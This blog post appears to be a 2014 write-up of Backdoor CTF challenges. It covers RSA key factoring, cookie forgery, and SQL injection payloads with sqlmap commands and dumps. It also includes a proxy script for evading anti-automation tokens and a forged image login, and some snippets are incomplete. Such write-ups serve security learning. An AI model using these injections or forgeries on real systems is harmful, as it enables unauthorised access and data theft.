07 April 2014

Crypto 10

[andrew@archa backdoor]$ binwalk -e crypto10.jpg 
0        0x0      JPEG image data, JFIF standard  1.01
40804    0x9F64   Zip archive data, name: "got2.jpg"  
73941    0x120D5  End of Zip archive
[andrew@archa _crypto10.jpg.extracted]$ binwalk -e got2.jpg 
0        0x0     JPEG image data, JFIF standard  1.02
33587    0x8333  Zip archive data, name: "txt.txt"  
33761    0x83E1  End of Zip archive
[andrew@archa _got2.jpg.extracted]$ cat txt.txt 

Crypto 100

[andrew@archa backdoor]$ hexdump -C ciphertext.txt 
00000000  0c 08 d1 e9 22 a6 12 49  20 45 73 2b 00 a5 46 40  |...."..I Es+..F@|
00000010  cb 25 2e 2e 84 f0 75 8a  f3 87 d6 0c              |.%....u.....|

[andrew@archa backdoor]$ openssl rsa -in id.pub -pubin -text    
Public-Key: (220 bit)
Exponent: 65537 (0x10001)
writing RSA key
-----END PUBLIC KEY-----

This page shows that factoring a 330-bit key was possible in 1991. Absent any other weaknesses, it seems that all we have to do is factor the modulus of the public key. Here I use CADO-NFS to factor the modulus.

>>> int('0c:09:e7:ec:78:f2:f8:ad:a9:95:34:48:22: \
... 64:77:28:1b:09:9d:18:35:70:2b:4d:e5:07:5d:6b'.replace(':',''),16)          

[andrew@archa backdoor]$ /usr/libexec/cado-nfs/bin/factor.sh 1267822572326555807122159576684530178338449545988069238646937967979 
< math omitted >
Info:Complete Factorization: Total cpu/real time for everything: 230.48/248.437
1162435056374824133712043309728653 1090660992520643446103273789680343

I have a local script to generate an RSA private key file from provided p and q values, but it’s possible to use an online generator if you are less paranoid.

[andrew@archa backdoor]$ wget "http://rose.makesad.us/~schoen/cgi-bin/private-from-pq.cgi?1162435056374824133712043309728653&1090660992520643446103273789680343" -O id.pem
[andrew@archa backdoor]$ openssl rsautl -decrypt -inkey id.pem < ciphertext.txt 

Web 10

[andrew@archa ~]$ curl -v http://backdoor.cognizance.org.in/problems/web10/
* Hostname was NOT found in DNS cache
*   Trying
* Connected to backdoor.cognizance.org.in ( port 80 (#0)
> GET /problems/web10/ HTTP/1.1
> User-Agent: curl/7.35.0
> Host: backdoor.cognizance.org.in
> Accept: */*
< HTTP/1.1 200 OK
< Date: Sun, 23 Mar 2014 01:46:06 GMT
* Server Apache/2.2.22 (Ubuntu) is not blacklisted
< Server: Apache/2.2.22 (Ubuntu)
< X-Powered-By: PHP/5.3.10-1ubuntu3.10
< Backdoor-CTF: 28b3324be8b003ee7e1d0d153fad3c32
< Vary: Accept-Encoding
< Content-Length: 2716
< Content-Type: text/html

Do you spot the flag?

Web 30

[andrew@archa ~]$ curl http://backdoor.cognizance.org.in/problems/web30/ -D - -o /dev/null 
Date: Sun, 23 Mar 2014 02:05:23 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.10
Set-Cookie: auth=false
Vary: Accept-Encoding
Content-Length: 2683
Content-Type: text/html

That's an interesting cookie.

[andrew@archa ~]$ curl http://backdoor.cognizance.org.in/problems/web30/auth.php?                   
Sorry , you will never get a flag in your life :P  Not authorized

What if we send auth=true?

[andrew@archa ~]$ curl http://backdoor.cognizance.org.in/problems/web30/auth.php? --cookie "auth=true"
Here is a flag : aeba37a3aaffc93567a61d9a67466fdf

Web 50

The PHP script appears to be running a SQL query of the form SELECT FROM QUOTES WHERE quote LIKE '$search';

We can make this conditional true for all quotes by searching for ' or 1=1 or '. We can check whether a SQL conditional evaluates to true by ANDing the conditional with another that should return true, e.g. f' and 2=2 or 'foobar'='. This allows us to extract one bit of information per query. We could write a binary search script to extract characters to read the database and, hopefully, the flag.

sqlmap is a great tool for automatic exploitation of SQL injection vulnerabilities. Let's throw sqlmap at the page for a few minutes to find all of the tables.

sqlmap -u http://backdoor.cognizance.org.in/problems/web50/search.php --data="search=f" --tables --threads 10 --exclude-sysdbs

Place: POST
Parameter: search
    Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: search=f%' AND 5266=5266 AND '%'='

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
    Payload: search=f%' AND SLEEP(5) AND '%'='

Database: sqli_db
[2 tables]
| quotes                |
| the_flag_is_over_here |

Hmm, let's take them at their word and dump the contents of that second table:

sqlmap -u http://backdoor.cognizance.org.in/problems/web50/search.php --data="search=f" -D sqli_db -T the_flag_is_over_here --dump  --threads 10 --exclude-sysdbs

Database: sqli_db
Table: the_flag_is_over_here
[1 entry]
| twisted_column_name              |
| d5abaf391f7bc7e7cda8c128e5ca3187 |

Web 100-1

The server has to retrieve the picture in order to rate it, right? Does it do anything else? Let's listen on port 80 on any server:

sudo nc -vlp 80

Then submit a link to your machine e.g. http://my.box.fqdn.com/

 Connection from
 GET / HTTP/1.1
 Host: my.box.fqdn.com
 Accept: */*
 X-Referrer: 92702a9381515494689f5d14f85a83b7.php

That referrer URL isn't the flag, so see what's on the page:

 [andrew@archa ~]$ curl http://backdoor.cognizance.org.in/problems/web100-1/92702a9381515494689f5d14f85a83b7.php
 <!doctype html>
   <title>Super Secret Page</title>
     <h3>Super secret page</h3>
 <p>This is a dangerous place. You shouldn't be lurking here. Click <a id="./submit.php">here</a> to go back.</p>
 <!-- By the way, the flag is f556b9a48a3ee914f291f9b98645cb02 -->

Web 300

This problem gives you an interface to check whether a user has registered here.

If the username does not exist, the script returns Please wait for a little while for this user to be validated. If it does exist, it returns This user has been validated.

As before, this script is vulnerable to blind SQL injection, and we receive a single bit of information from each query.

However, once we try to use sqlmap to exploit this automatically, we find that it cannot automatically detect and exploit the vulnerability. Rerunning sqlmap with the -v 6 option will show full requests and responses. We see that the check.php script is now returning No automated tools please :). How does it detect this?

For one, sqlmap usually sends a user-agent that identifies its requests as originating from sqlmap. However, copying the user-agent from Chrome does not solve the problem.

Taking a closer look at how a browser interacts with the problem, we find that the status.php page sets a cookie named web_300_token and the check.php page deletes this cookie. Each time the status.php page is loaded, we get a new web_300_token. The response headers of that page are clearly designed to prevent the browser from even thinking about caching anything from that page:

Cache-Control:no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Date:Sun, 23 Mar 2014 03:49:14 GMT
Expires:Thu, 19 Nov 1981 08:52:00 GMT

When you try to use the same web_300_token to send a second request to check.php, the server returns the No automated tools please :) message. So, we need to make sure that each request from sqlmap has a valid web_300_token, by making a request to status.php before each query.

Unfortunately, sqlmap can't do this out of the box. sqlmap does provide an --eval flag which executes Python code in a context containing the data that sqlmap is about to send, along with cookies. However, though it supports modification/addition of query data, changes to cookies are not reflected in the outgoing request.

Our first idea was a bit complicated. We put sqlmap behind an instance of mitmproxy with sticky cookies enabled on all requests. Then, in sqlmap's --eval parameter we passed the code:

import urllib,time; urllib.urlopen('http://backdoor.cognizance.org.in/problems/web300/status.php',proxies={'http':''});

The intention was that before each request, sqlmap should send a front-running request to status.php to prime the proxy with the web_300_token cookie. Then sqlmap would send the primary request, mitmproxy would tack on the cookie it received from status.php, and the query would be processed as if from a browser.

For some reason, this doesn't work as intended - mitmproxy mangles and combines cookies with expiration times on outgoing requests, and the check.php script rejects them. So, we had to go a step further and put together a libmproxy server to process the incoming and outgoing requests as we wanted:

from libmproxy import controller, proxy
import os

class StickyMaster(controller.Master):
    def __init__(self, server):
        controller.Master.__init__(self, server)
    def run(self):
            return controller.Master.run(self)
        except KeyboardInterrupt:

    def handle_request(self, msg):
        hid = (msg.host, msg.port)
        msg.headers["Cookie"] = ['; '.join(self.cookies)]
        msg.headers['User-Agent'] = ['Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36']
        msg.headers['Connection'] = ['keep-alive']

    def handle_response(self, msg):
        hid = (msg.request.host, msg.request.port)
        if msg.headers["set-cookie"]:
            self.cookies = [x.split(';')[0] for x in msg.headers["set-cookie"] if 'delete' not in x]            
        print msg.headers, self.cookies
config = proxy.ProxyConfig()
server = proxy.ProxyServer(config, 7222)
m = StickyMaster(server)

(We had further issues with the user-agent, so we also set the user-agent at the proxy to resolve them)

This nearly worked, but we noticed that it was rejecting most of our requests. We suspected that check.php was rejecting web_300_tokens which were too new. Experimentally, we determined that tokens newer than 2 seconds old were not valid, so to be safe, we inserted a 5-second sleep in our --eval code after priming the proxy.

Finally, sqlmap was able to work its magic and probe the database, albeit with requests spaced by around 5 seconds. Using a single proxy also meant that we could not use multiple sqlmap threads, although if desired we could have fixed that by including a complicated token queue in the proxy.

Place: POST
Parameter: username
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: username=asdf' AND 7617=7617 AND 'SRYh'='SRYh
    Vector: AND [INFERENCE]

Listing tables as before showed that there is a table named the_elusive_flag containing a single row.

sqlmap -u http://backdoor.cognizance.org.in/problems/web300/check.php \
   --data="username=asdf" --proxy= \
   --eval="import urllib,time; urllib.urlopen('http://backdoor.cognizance.org.in/problems/web300/status.php', \
           proxies={'http':''}); time.sleep(5)" \
   --threads=1 -v 6 --dbms=mysql -T the_elusive_flag --dump -D blind_sqli_db

In the column named this_column_has_the_flag of the single row, we find, against all odds, a flag!

Database: blind_sqli_db
Table: the_elusive_flag
[1 entry]
| this_column_has_the_flag         |
| 9d4dcc5981b17bf37740c7dbabe3b294 |

Misc 250-2

Username and password based login seemed a bit too monotonous. We developed an indigenous image based login system.

The login service is available here.

The image below can be used to login as the backdoor user. Unfortunately that does not serve any purpose. Login as the sdslabs user for a change.


The first thing that comes to mind is changing the threshold of the image, but that did not do anything. OCR also came to mind, but after spending some time in GIMP and unsuccessfully attempting to log in as sdslabs, it seemed very unlikely. So the next thing to be considered was the colors in the image. I had a simple java program lying around that I had used some months ago which printed the color of each pixel in hex.

Now the image was supposed to be completely black and white, but it had a lot of other colors in it. This was because the text in the image was anti-aliased, so I painted over the text with #000000 and it still logged me in as the user backdoor.


But the image was still not all black, so I examined the pixels again and found that they were all either #000000 or #010101. Hmmmm, it just might be a binary message.

[rray@gilgamesh backdoor]$ java PixelHex try.png | sort | uniq

Then I opened up and examined all the pixels. All rows except for the top one in the pixel grid were completely black, so the message was probably stored in the top row. I made a new image with all the pixels changed to #123456 except for the ones in the top row and successfully logged in using it.


I continued changing everything but the first x pixels of the image to #123456 and it turned out the server would accept the image if the first 80 pixels were unchanged. So I printed the first 80 pixels.

[rray@gilgamesh backdoor]$ java EightyPixel backdoor.bmp 
    000000 010101 010101 000000 000000 000000 010101 000000
    000000 010101 010101 000000 000000 000000 000000 010101
    000000 010101 010101 000000 000000 000000 010101 010101
    000000 010101 010101 000000 010101 000000 010101 010101
    000000 010101 010101 000000 000000 010101 000000 000000
    000000 010101 010101 000000 010101 010101 010101 010101
    000000 010101 010101 000000 010101 010101 010101 010101
    000000 010101 010101 010101 000000 000000 010101 000000
    000000 000000 000000 000000 000000 000000 000000 000000
    000000 000000 000000 000000 000000 000000 000000 000000

That looks like it could be a binary code, so I convert all the 010101 to 1 and all the 000000 to 0 and get something like 01100010011000010110001101101011011001000110111101101111011100100000000000000000 which when converted to ascii yields "backdoor".

So then I just converted "sdslabs" to binary, converted the individual 0s to the color #000000 and 1s to #010101 and inserted them in the image, making sure that the unused pixels from the first 80 pixels of the image were all set to #000000.

Then I submitted this image to log in as sdslabs and capture the flag.


blog comments powered by Disqus